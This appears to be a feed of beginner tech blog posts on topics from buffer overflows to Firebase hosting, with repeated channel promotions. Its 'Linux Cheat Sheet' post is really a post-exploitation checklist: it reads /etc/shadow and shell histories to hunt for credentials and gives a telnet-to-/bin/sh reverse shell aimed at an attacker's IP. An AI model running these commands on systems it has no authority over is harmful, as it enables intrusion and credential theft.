DEV Community: For Community

What is Buffer flow ?

Kiran Sethumadhavan — Mon, 22 Mar 2021 11:54:05 +0000

What is Buffer Overflow

Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations.

For example, a buffer for log-in credentials may be designed to expect username and password inputs of 8 bytes, so if a transaction involves an input of 10 bytes (that is, 2 bytes more than expected), the program may write the excess data past the buffer boundary.

Buffer overflows can affect all types of software. They typically result from malformed inputs or failure to allocate enough space for the buffer. If the transaction overwrites executable code, it can cause the program to behave unpredictably and generate incorrect results, memory access errors, or crashes.

What is a Buffer Overflow Attack

Attackers exploit buffer overflow issues by overwriting the memory of an application. This changes the execution path of the program, triggering a response that damages files or exposes private information. For example, an attacker may introduce extra code, sending new instructions to the application to gain access to IT systems.

If attackers know the memory layout of a program, they can intentionally feed input that the buffer cannot store, and overwrite areas that hold executable code, replacing it with their own code. For example, an attacker can overwrite a pointer (an object that points to another area in memory) and point it to an exploit payload, to gain control over the program.

Types of Buffer Overflow Attacks

Stack-based buffer overflows are more common, and leverage stack memory that only exists during the execution time of a function.

Heap-based attacks are harder to carry out and involve flooding the memory space allocated for a program beyond memory used for current runtime operations.

What Programming Languages are More Vulnerable?

C and C++ are two languages that are highly susceptible to buffer overflow attacks, as they don’t have built-in safeguards against overwriting or accessing data in their memory. Mac OSX, Windows, and Linux all use code written in C and C++.

Languages such as PERL, Java, JavaScript, and C# use built-in safety mechanisms that minimize the likelihood of buffer overflow.

How to Prevent Buffer Overflows

Developers can protect against buffer overflow vulnerabilities via security measures in their code, or by using languages that offer built-in protection.

In addition, modern operating systems have runtime protection. Three common protections are:

Address space randomization (ASLR)—randomly moves around the address space locations of data regions. Typically, buffer overflow attacks need to know the locality of executable code, and randomizing address spaces makes this virtually impossible.

Data execution prevention—flags certain areas of memory as non-executable or executable, which stops an attack from running code in a non-executable region.

Structured exception handler overwrite protection (SEHOP)—helps stop malicious code from attacking Structured Exception Handling (SEH), a built-in system for managing hardware and software exceptions. It thus prevents an attacker from being able to make use of the SEH overwrite exploitation technique. At a functional level, an SEH overwrite is achieved using a stack-based buffer overflow to overwrite an exception registration record, stored on a thread’s stack.

Security measures in code and operating system protection are not enough. When an organization discovers a buffer overflow vulnerability, it must react quickly to patch the affected software and make sure that users of the software can access the patch.

Hey Guys we just dropped our 1st video on YouTube.Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

*Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a
part of us *

Telegram = https://t.me/infosecbugbounty

Be a part of us 🚀 🚀
Telegram https://t.me/forthecommunity
CyberSecurity
https://t.me/infosecbugbounty
Discord https://discord.com/invite/QsAqC4yKkm
Facebook https://www.facebook.com/forcommunity.tech
Youtube https://www.youtube.com/channel/UCP33irJmpa60rIuztDP2itQ

What is Cloud Computing?

Kiran Sethumadhavan — Fri, 12 Mar 2021 20:55:39 +0000

Cloud computing is the on-demand availability of computer system resources, especially data storage (cloud storage) and computing power, without direct active management by the user. The term is generally used to describe data centres available to many users over the Internet.Large clouds, predominant today, often have functions distributed over multiple locations from central servers. If the connection to the user is relatively close, it may be designated an edge server.

Cloud computing metaphor: the group of networked elements providing services need not be individually addressed or managed by users; instead, the entire provider-managed suite of hardware and software can be thought of as an amorphous cloud.

Clouds may be limited to a single organisation (enterprise clouds, or be available to many organisations (public cloud).
Advocates of public and hybrid clouds note that cloud computing allows companies to avoid or minimise up-front IT infrastructure costs. Proponents also claim that cloud computing allows enterprises to get their applications up and running faster, with improved manageability and less maintenance, and that it enables IT teams to more rapidly adjust resources to meet fluctuating and unpredictable demand,[3][4][5] providing the burst computing capability: high computing power at certain periods of peak demand.
Cloud providers typically use a "pay-as-you-go" model, which can lead to unexpected operating expenses if administrators are not familiarised with cloud-pricing models.

The availability of high-capacity networks, low-cost computers and storage devices as well as the widespread adoption of hardware virtualisation, service-oriented architecture and autonomic and utility computing has led to growth in cloud computing.By 2019, Linux was the most widely used operating system, including in Microsoft's offerings and is thus described as dominant.The Cloud Service Provider (CSP) will screen, keep up and gather data about the firewalls, intrusion identification or/and counteractive action frameworks and information stream inside the network.

Cloud computing services fall into 3 main categories: Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). Functions as a Service (FaaS) is a relatively new Cloud service model. These are sometimes called the Cloud computing stack because they build on top of one another.

Infrastructure-as-a-service (IaaS)

Infrastructure as a Service (IaaS) contains the most basic building blocks for Cloud infrastructure and offers services on tops of it such as renting IT infrastructure (virtual or physical) and networking features. IaaS mainly includes Cloud-based services on a pay-as-you-go model. A user pays for computing services on IaaS because it is the fundamental platform to build new technologies.

Platform as a service (PaaS)

Platform-as-a-service (PaaS) refers to the supply of on-demand tools for developing, testing, delivering, and managing software applications. PaaS delivers a framework for developers and IT architects to create web or mobile apps that are scalable, without worrying about setting up or managing the underlying infrastructure of servers, storage, network, and databases needed for development.

Software as a service (SaaS)

Software-as-a-service (SaaS) is a method for delivering on-demand software applications through Cloud on a subscription basis. A CSP takes care of managing the Cloud infrastructure and offers SaaS applications over the internet to a user that are accessible through a web browser. These applications are also available on multiple devices which can be accessed from anywhere.

Functions as a Service (FaaS)

Functions as a Service (FaaS) adds another layer of abstraction to PaaS so that developers are completely isolated from everything in the stack below their code. FaaS is the concept of Serverless Computing. Instead of handling the hassles of virtual servers, containers, and application runtimes, they upload narrowly functional blocks of code and set them to be triggered by a certain event. FaaS applications consume no IaaS resources until an event occurs, reducing pay-per-use fees.

https://www.youtube.com/watch?v=4pjpHUN28kk

Be a part of us 🚀 🚀
Telegram https://t.me/forthecommunity
Discord https://discord.com/invite/QsAqC4yKkm
Facebook https://www.facebook.com/forcommunity.tech
Youtube https://www.youtube.com/channel/UCP33irJmpa60rIuztDP2itQ

Ultimate Linux Cheat Sheet

Justin Varghese — Tue, 02 Mar 2021 20:03:22 +0000

*Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a
part of us *

Telegram = https://t.me/infosecbugbounty

Introduction

Linux commands may seem intimidating at first glance if you are not used to using the terminal. There are many commands for performing operations and processes on your Linux system.

No matter whether you are new to Linux or an experienced user, having a list of common commands close at hand is helpful.

In this tutorial, you will find commonly used Linux commands as well list of common Linux commands
Important: Depending on your system setup, some of the commands below may require invoking sudo to be executed

A list of all Linux commands commonly used with Linux operating systems.
Linux Commands List

File Commands
List files in the directory:

ls
List all files (shows hidden files):

ls -a
Show directory you are currently working in:

pwd
Create a new directory:

mkdir [directory]
Make a new directory

*rm [file_name] *
Remove a directory recursively

rm -rf [directory_name]
It deletes the directory

cp [file_name1] [file_name2]
Recursively copy the contents of one file to a second file:

cp -r [directory_name1] [directory_name2]
Rename [file_name1] to [file_name2] with the command:

mv [file_name1] [file_name2]
Create a symbolic link to a file:

ln -s /path/to/[file_name] [link_name]
Create a new file:

touch [file_name]

Hardware Information

Show bootup messages:

dmesg
See CPU information:

cat /proc/cpuinfo
Display free and used memory with:

free -h
List hardware configuration information:

lshw
See information about block devices:

lsblk
Show PCI devices in a tree-like diagram:

lspci -tv
Display USB devices in a tree-like diagram:

lsusb -tv
Show hardware information from the BIOS:

dmidecode
Display disk data information:

hdparm -i /dev/disk
Conduct a read-speed test on device/disk:

hdparm -tT /dev/[device]
Test for unreadable blocks on device/disk:

badblocks -s /dev/[device]

Operating System
What's the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release

What's the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking
What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**

id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been editing?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Hey Guys we just dropped our 1st video on YouTube at 10 Am (IST) on 16 January 2020 .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

How to Make Automatically Reply to Emails in Gmail

Justin Varghese — Sun, 28 Feb 2021 14:08:23 +0000

Today almost everyone is using email services in daily life. And that is why we are here with How To Reply Common Emails Automatically In Gmail.

In this article we will discuss about automated emails that you can send automatically through your account.

As sometime you are on a position in which you have to reply an email with same text every time.

So in this method you will be setting a fix message for some certain queries and Gmail will work for you and will send the reply back as set by you earlier.

So have a look in this cool method that can reduce your boring work of sending same mails to common queries.

Steps To Make Your Gmail Automatic Replier To Common Emails You Receive :-

First of all login into your gmail account where you want to set up Gmail Automatic Reply.
1. Now click on the down arrow button near the Gmail search box there.
2. Now there you will see a form that instantly appears when you click on that arrow button.1
3. Now fill up the form completely and in the field Have the word and Does not Have the word there you can set the words that you commonly received in you emails and you want to set them accordingly.
4. Now after completely filling the form click on Create filter with this search at the bottom right corner of the form.
5. Now on next box you will see option there mark on Send canned response and there you will specify the canned reply from previous conversations.
6. After completing these all just click on Create Filter there and the filter will get created.
7. That's it you are done. Now gmail will send automatic response to the mails received with the matched details.

Hey Guys we just dropped our 1st video on YouTube .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

Linux Basics for Beginners

Kiran Sethumadhavan — Sat, 27 Feb 2021 11:55:59 +0000

*Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a
part of us *

Telegram = https://t.me/infosecbugbounty

More often than not, certain operating systems tend to get tied to certain tasks. When it comes to penetration testing, Linux based operating systems are always mapped to it. This article will help you get comfortable with the fundamentals of Linux. So let’s start.

Why use Linux for pentesting ?

Linux offers a far higher level of control of the operating system, not to mention that it is open source. This also makes Linux transparent and easier to understand. Before we try to “hack” anything, it is a must to know how it works, this is why transparency in Linux is a huge plus.

Because Linux is very popular amongst the pen-testing community, most of the used penetration testing tools and frameworks are also then built for Linux.

Maintenance is also comparatively easy as the software can be easily installed up from its repository. It is also very stable when compared to traditional operating systems like Windows.

Basic Linux Commands

Just like how we use Windows on a daily basis, creating folders, moving files, copying things, we’re going to learn these everyday operations for Linux.

We’ll be spending most of our time in the terminal, which is the command-line interface of our operating system. This is where we type out commands to perform the operations we want.

The “pwd” Command
Before we begin, we should know which directory we are working in, and where are the files we create going to be stored. The pwd command is one way to identify the directory we’re in.

So as we did it in our case, we found that we’re in the /root directory.

The*“whoami”* Command
Using the whoami command we see which user we’re logged in as. Here, we’re logged in as root (which translates to an administrator in the windows terms)

cd: Changing directories
To change directories via the terminal, we use the cd command. Let’s change our current directory to Desktop.

cd Desktop/
1
cd Desktop/

ls: Listing the Contents
To see the contents of a directory we use the “ls” command, (very similar to the dir command in windows)

The “Help” Command
Nearly every command, application and or utility in Linux has a dedicated help file which guides its usage. If you want to learn more regarding a specific command or if you’re stuck, help (-h, –help) will be your best friend.

Let’s find out more about volatility framework.

volatility --help
1
volatility --help

man: The Manual Pages
In addition to the help file, most commands and applications also have a manual page, which can be accessed via typing man before the command.

As seen below, it provides a description and all the tags that can be used with the ls command.

man ls
1
man ls

locate: Searching keywords
When searching for a specific keyword, one of the easiest ways to do so is using locate. Type locate and then the keyword on the terminal and it will search the entire file system for the occurrence of it.

Though a few drawbacks of using locate as it provides too much information and the database it uses is updated once a day, so you can’t find files created minutes or hours ago.

Let’s search for the keyword: CTF with

locate CTF | more
1
locate CTF | more

whereis: Finding binaries
Let’s begin this section with what are binaries?

Files that can be executed, similar to .exe’s in Windows are referred to as binaries. These files generally reside in the /usr/bin or /user/sbin directories.

Utilities like ls, cd, cat, ps (we’ll cover some of these later in the article) are stored in these directories too.

When looking for a binary file, we can use the whereis command. It returns the path of the binary as well it’s man page. Finding the binary file: git.

whereis git
1
whereis git

which: Finding binaries
The which command is more specific and only return the location of the binary in the PATH variable in Linux. Finding the binary file: git.

which git
1
which git

Filtering with grep
Very often when using the command line, you’ll want to search for a particular keyword, this is where grep comes in.

Let’s search for the word: echo, in the simple_bash.sh file by typing

grep -I "echo" simple_bash.sh
1
grep -I "echo" simple_bash.sh

Thought the most common use case of grep it to pipe the output into it with the keywords to filter the output.

Here we use grep just to get the IP address of our machine, instead of all the other information that comes when running the ifconfig command. (We’ll touch on the ifconfig common in the later section)

ifconfig | grep inet
1
ifconfig | grep inet

Searching with the “find” command
The find command is the most powerful and flexible of the searching utilities. It is capable of different parameters, including, the filename (obviously), date of creation and or modification, the owner, the group, permission and the size.

Here we use -type and -name tag which tells find the type of file we are looking for as well as its name. The backslash (/) indicates the root directory, which is where we want to search the file in.

find / -type f -name hacking_articles
1
find / -type f -name hacking_articles

If your result looks like this:

It is because the find command is also searching through directories your account doesn’t have the permission to access to. Hence, for a cleaner result, we use 2>&1 which sends all the permission denied errors to /dev/null (into nothing) and then using grep filters them out of the output)

find / -type f -name hacking_articles 2>&1 | grep -v "Permission Denied"
1
find / -type f -name hacking_articles 2>&1 | grep -v "Permission Denied"

https://www.youtube.com/watch?v=4pjpHUN28kk

What is UFS 3.0? How is UFS better than eMMC 5.1?

Kiran Sethumadhavan — Mon, 01 Feb 2021 11:21:45 +0000

What is UFS 3.0?

Typically, smartphones and tablets have used older and cheaper eMMCs storage to store information. However, starting with the Samsung Galaxy S6, we have been seeing Universal Flash Storage (UFS) on flagship smartphones.

UFS 3.0 basically incorporates support for the latest high-density NAND memories and supports the latest and smarter interconnects between your phone’s chipset and memory for faster and more reliable communication between the two.

Overall, UFS (Universal Flash Storage )3.0 storage could almost double data bandwidth while consuming lesser power. These storages can also withstand higher temperature range (-40°C to 105°C) which makes them more suitable for automotive applications.

Another important UFS (Universal Flash Storage)3.0 feature is support for multiple RPMBs (replay protected memory block) with multiple RPMB keys. RPMBs are hardware partitions used for securely storing critical data like user billing information, DRM(Digital rights management ) content protection keys, etc. RPMB regions are fixed at manufacturing and are also configurable at manufacturing.

How is UFS better than eMMC 5.1?

eMMC, or embedded multimedia card, is a go-to memory solution for many consumer electronics, including tablets, smartphones, GPS systems, eReaders, and other mobile computing devices. Then, UFC came into the scene which is an advanced solution in comparison to eMMC. It has faster sequential read speed, sequential write speed, random read speed, and random write speed.

UFS touts a considerable improvement in performance due to the following reasons:

UFS can read and write simultaneously
Multiple commands can be addressed at the same time and the order of tasks can be changed accordingly.
UFS 3.0 vs. UFS 2.1 Speed Difference

Theoretically, it would propel a 2X increase in speed as it’s designed for twice the bandwidth of the current UFS 2.1 standard. This facilitates a transfer speed up to 11.6 Gbps per lanes and since there are two channels, a hyper-speed of 23.2 Gbps can be reached. But practically speaking, we could expect a speed of around 15 Gbps (1.875 GB/s).

Moreover, these communication channels between the chipset and storage will be relatively better trained to handle consistent application workload because of the additional QoS (Quality of Service) feature.

It is optimized for significant reductions in device power consumption and this will make flash storage more reliable at a greater range of temperatures. So, now you can capture a 4K and even 8K video without troubling the handset too much.

https://www.youtube.com/watch?v=4pjpHUN28kk

FAT32 vs. NTFS: Which Is Better?🔥🔥

Kiran Sethumadhavan — Wed, 27 Jan 2021 12:23:28 +0000

Windows-supported operating systems rely on one of two different types of file systems: File Allocation Table (FAT) or New Technology File System (NTFS).

While both file systems were created by Microsoft, each has different benefits and disadvantages related to compatibility, security, and flexibility.

In this article, we will break down what a FAT file system is, what an NTFS file system is and what the pros and cons are for each system.

What Is FAT?

Microsoft created the File Allocation Table file system in 1977 and is the simplest file system supported by Windows NT. It is the older of the two file systems and therefore isn’t as efficient or advanced. However, it does offer more compatibility with other operating systems and removable storage devices.

The FAT is used to describe the allocation status of the clusters (the basic units of logical storage on a hard drive) in a file system, as well as the link relationship between each. It acts as a Table of Contents for the operating system, indicating where directories and files are stored on the disk.

A FAT is often most used in removable storage devices, such as digital cameras, Smart TVs and other portable devices.

The file allocation table is a critical part of the FAT file system. If the FAT is damaged or lost, the data on the hard disk becomes unreadable.

There are several limitations to using a FAT32 file system:

FAT32 only supports files of up to 4GB in size and volumes of up to 2TB in size

FAT32 isn’t a journaling file system, which means corruption can happen more easily

FAT32 doesn’t support file permissions

What Is NTFS?

Microsoft created the New Technology File System in 1993, and it is now the most widely used file system in Windows.

It was introduced as a replacement for the FAT file system, designed to improve upon FAT by increasing performance, reliability and disk space.

NTFS supports:

Very large files

Different file permissions and encryption

Automatically restores consistency by using log file and checkpoint information

File compression when running out of disk space

Establishing disk quotas, LIMITING space users can use

FAT vs. NTFS

FAT is the more simple file system of the two, but NTFS offers different enhancements and offers increased security. Choosing the right operating system depends on your needs.

Fault Tolerance: NTFS automatically repairs files/folders in the case of power failures or errors. FAT32 maintains two different copies of the FAT in the case of damage.

Security: FAT32 only offers shared permissions, while NTFS allows you to set specific permissions to local files/folders.

Compression: FAT32 does not offer any compression option. NTFS does allow for individual compression of files and folders so you don’t slow down the system.

Compatibility: NTFS is compatible with operating systems back to Windows XP. For Mac OS users, however, NTFS systems can only be read by Mac, while FAT32 drives can be both read and written to by the Mac OS.

The biggest disadvantage of using the NTFS file system is compatibility:

Many removable devices, such as Android smartphones don’t support NTFS

While Mac OS X can read support for NTFS drives, but it can’t write to NTFS drives without third-party software

Some media devices, including Smart TVs, media players, and printers, don’t support NTFS

NTFS file systems are only compatible with Windows 2000 and later versions of Windows

When it comes to removable devices, it’s safer to use FAT32 so they can be used with almost any device.

There is no clear winner when it comes to FAT vs. NTFS. Choosing the right file system depends on your individual needs and uses.

https://www.youtube.com/watch?v=4pjpHUN28kk

What is WSL ? What are the Features of WSL ?

Justin Varghese — Tue, 19 Jan 2021 11:51:45 +0000

WSL also known as windows Subsystem for linux .The Windows Subsystem for Linux lets developers run a GNU/Linux environment -- including most command-line tools, utilities, and applications -- directly on Windows, unmodified, without the overhead of a traditional virtual machine or dual boot setup. Which helps users to save a plenty of time by not running into an error .Even after so many efforts put by Microsoft, Users love to use Linux over Windows .

Features of WSL

You can Run common command-line tools such as grep, sed, awk, or other ELF-64 binaries.
Run Bash shell scripts and GNU/Linux command-line applications including:
Tools: vim, emacs, tmux
Languages: NodeJS, Javascript, Python, Ruby, C/C++, C# & F#, Rust, Go, etc.
Services: SSHD, MySQL, Apache, lighttpd, MongoDB, PostgreSQL.
Install additional software using your own GNU/Linux distribution package manager.
Invoke Windows applications using a Unix-like command-line shell.
Invoke GNU/Linux applications on Windows.

Please also subscribe our YouTube Channel
Hostar+Disney Clone made for Beginners using Reacts js
https://www.youtube.com/watch?v=4pjpHUN28kk&fbclid=IwAR02hJnCgk5qXDVdHPsCxqZgm8dY2kWXbGdRuFwtaHLBuV0TQiLQvJzw1t0&ab_channel=ForCommunity

Hotstar+Disney Clone for Beginners made using React Js

Kiran Sethumadhavan — Fri, 15 Jan 2021 05:41:31 +0000

Hey Guys we are dropping our 1st video on YouTube at 10 Am (IST) on 16 January 2020 .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

Best Programming languages in 2021

Kiran Sethumadhavan — Thu, 14 Jan 2021 07:42:37 +0000

1 Javascript

JavaScript is a lightweight, interpreted programming language. It is designed for creating network-centric applications. It is complimentary to and integrated with Java. JavaScript is very easy to implement because it is integrated with HTML. It is open and cross-platform.Many famous sites like Google ,Youtube and Facebook are built on Javascript .

2.Python

Python is an interpreted, high-level and general-purpose programming language. Python's is the most loved language among the developers as it is very simple to learn and used in web Development to Data science

3.GO

It is very much designed with server-side development in mind. Channels, go routines, non-blocking IO built-in—all point to the preference for creating highly concurrent servers. I would say that here it is mostly in the same area as Erlang. In reality most Go projects are either web applications, pure socket servers (games, streaming media, proxies, load balance rs, &c.) or clients connecting to multiple servers (like web crawlers).

4.Swift

Swift is a powerful and intuitive programming language for macOS, iOS, watchOS, tvOS and beyond. Writing Swift code is interactive and fun, the syntax is concise yet expressive, and Swift includes modern features developers love. Swift code is safe by design, yet also produces software that runs lightning-fast.

5.Ruby

Ruby is an interpreted, high-level, general-purpose programming language.There's more than one way to do the same thing . It is a dynamic, reflective, object-oriented.
Companies that use Ruby: Hulu, Twitter, ZenDesk, Basecamp, Shopify, Urban Dictionary, GitHub

https://www.youtube.com/watch?v=4pjpHUN28kk

*Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a
part of us *

Telegram = https://t.me/infosecbugbounty

5 Skills Required to be Data Scientist in 2021 🔥🔥

Kiran Sethumadhavan — Wed, 06 Jan 2021 05:07:02 +0000

Hello Developers , today we are going to discuss 7 skills required by developers to become Data scientist in 2021.These skills are recommended by the data leader all around the world.

1.Python

Python is most used language all around the world and one of the growing programming language .Python has wide variety of libraries ,which is easy to learn . You should be able to write valuable scripts and build many applications like manipulating data, building machine learning models .

2 Pandas

Arguably the most important library to know in Python is Pandas, which a package for data manipulation and analysis. As a data scientist, you’ll be using this package all the time, whether you’re cleaning data, exploring data, or manipulating the data.
Pandas has become such a prevalent package, not only because of it’s functionality, but also because Data Frames have become a standard data structure for machine learning models.

3 SQL

As a Data scientist You should be able to extract data from database , manipulate data and create new models. Whether you’re a data scientist, a data engineer, or a data analyst, you’ll need to know SQL.Developing strong SQL skills will allow you to take your analyses, visualisations, and modelling to the next level because you will be able to extract and manipulate the data in advanced ways. Also, writing efficient and scalable queries is becoming more and more important for companies that work with petabytes of data.

4 Docker

Docker is a containerisation platform that allows you to deploy and run applications, like machine learning models.
It’s becoming increasingly important that data scientists not only know how to build models but how to deploy them as well. In fact, a lot of job postings are now requiring some experience in model deployment.
The reason that it’s so important to learn how to deploy models is that a model delivers no business value until it is actually integrated with the process/product that it is associated with.

5 Data Visualisation and Explanation

Data Visualisation means data which is presented visually in form of bar and graph or any other conventional methods .

As a Data Scientist you should be able to understand and explain the graph to others because you’re always selling your ideas and your models as a data scientist. And it’s especially important when communicating with others who are not as technologically savvy.

How to deploy multiple sites to firebase hosting?

stephin007 — Mon, 04 Jan 2021 02:45:08 +0000

Wait, what..is that even possible... Cause one project in firebase means only one hosting for that particular project, Right..!
Well, my fellow reader, Firebase has this feature to deploy multiple sites in a single firebase hosting. You might be wondering why do we need multiple websites for a single project, yeah I thought that too, so apparently, there might be situations, in which the user might need 2 separate apps i.e. one for customers, one for admin employees - both of which share the same database and functions.

In this blog, let me walk through the steps which you will need to follow strictly to deploy the sites correctly to their respective domains.

NOTE: I ASSUME THAT YOU HAVE ALREADY DEPLOYED ONE OF YOUR APPS TO YOUR FIREBASE PROJECT, OTHERWISE, YOU WON'T BE ABLE TO DEPLOY MULTIPLE SITES

Great, I hope you are still with me, Lets Begin.

1 Define Your Site Name(s)

Assume, there is an e-commerce vendor, whose consumer app is done and deployed on firebase, now you are working on the admin site for the vendor which will help the user to add products to his e-commerce website.

In the Firebase Hosting Console, scroll to the bottom under the Advanced Section you will find an option to Add Another Site , When you click that, you will see the below screen.

Add the site name for ex: admin-multi-site-magic , then you will see the site will be added like this.

Wait, it's not over yet, you have just added the site, you have not deployed anything to your new site, lets see how that's done

2 Install the latest Firebase Tools and Initialize hosting

You need Firebase Tools v4.2 or later for multisite hosting.

npm i -g firebase-tools@latest
firebase -v

firebase init hosting

One thing to note here, to make sure you add the word hosting in the last command since firebase has a lot of functions so when you add hosting after init, it will understand that it needs to only initialize the hosting.
It will prompt you some questions to select the project where you want to host it, make sure to select the correct project.

3 Update the firebase.json

As soon as you complete the above step, you will see that firebase adds 2 files to your project directory i.e. .firebaserc firebase.json

Now we just need to update this firebase.json by adding a field called target. Firebase uses this target, (yes you guessed it probably) to target the site to which your code needs to be deployed.

If you are using React, your deployable code will be your build folder
and If you are using Angular, your deployable code will be your dist folder.
The name of the target can be anything, but better to keep it relevant to the site you are about to deploy. Add your target file as shown below, just above the public field

{
  "hosting": {
    "target": "admin",
    "public": "build",
    "ignore": [
      "firebase.json",
      "**/.*",
      "**/node_modules/**"
    ],
    "rewrites": [
      {
        "source": "**",
        "destination": "/index.html"
      }
    ]
  }
}

4 Letting firebase know about the new target you just created.

We need to associate the sites with a local target so Firebase knows which code to deploy where. We run the following command for each site:
firebase target:apply hosting <target-name> <resource-name>

firebase target:apply hosting admin admin-multi-site-magic

where the target-name is just a unique name you choose, and resource-name is the site from step 1.

5 Deploy to FIrebase

We have done all the major steps, now we can deploy it to firebase to the targeted site.

firebase deploy --only hosting

And that's it, I hope you liked it if you do leave some reactions and comments. Also, I am open to collaboration you can mail us or ping us on any of the social media platforms.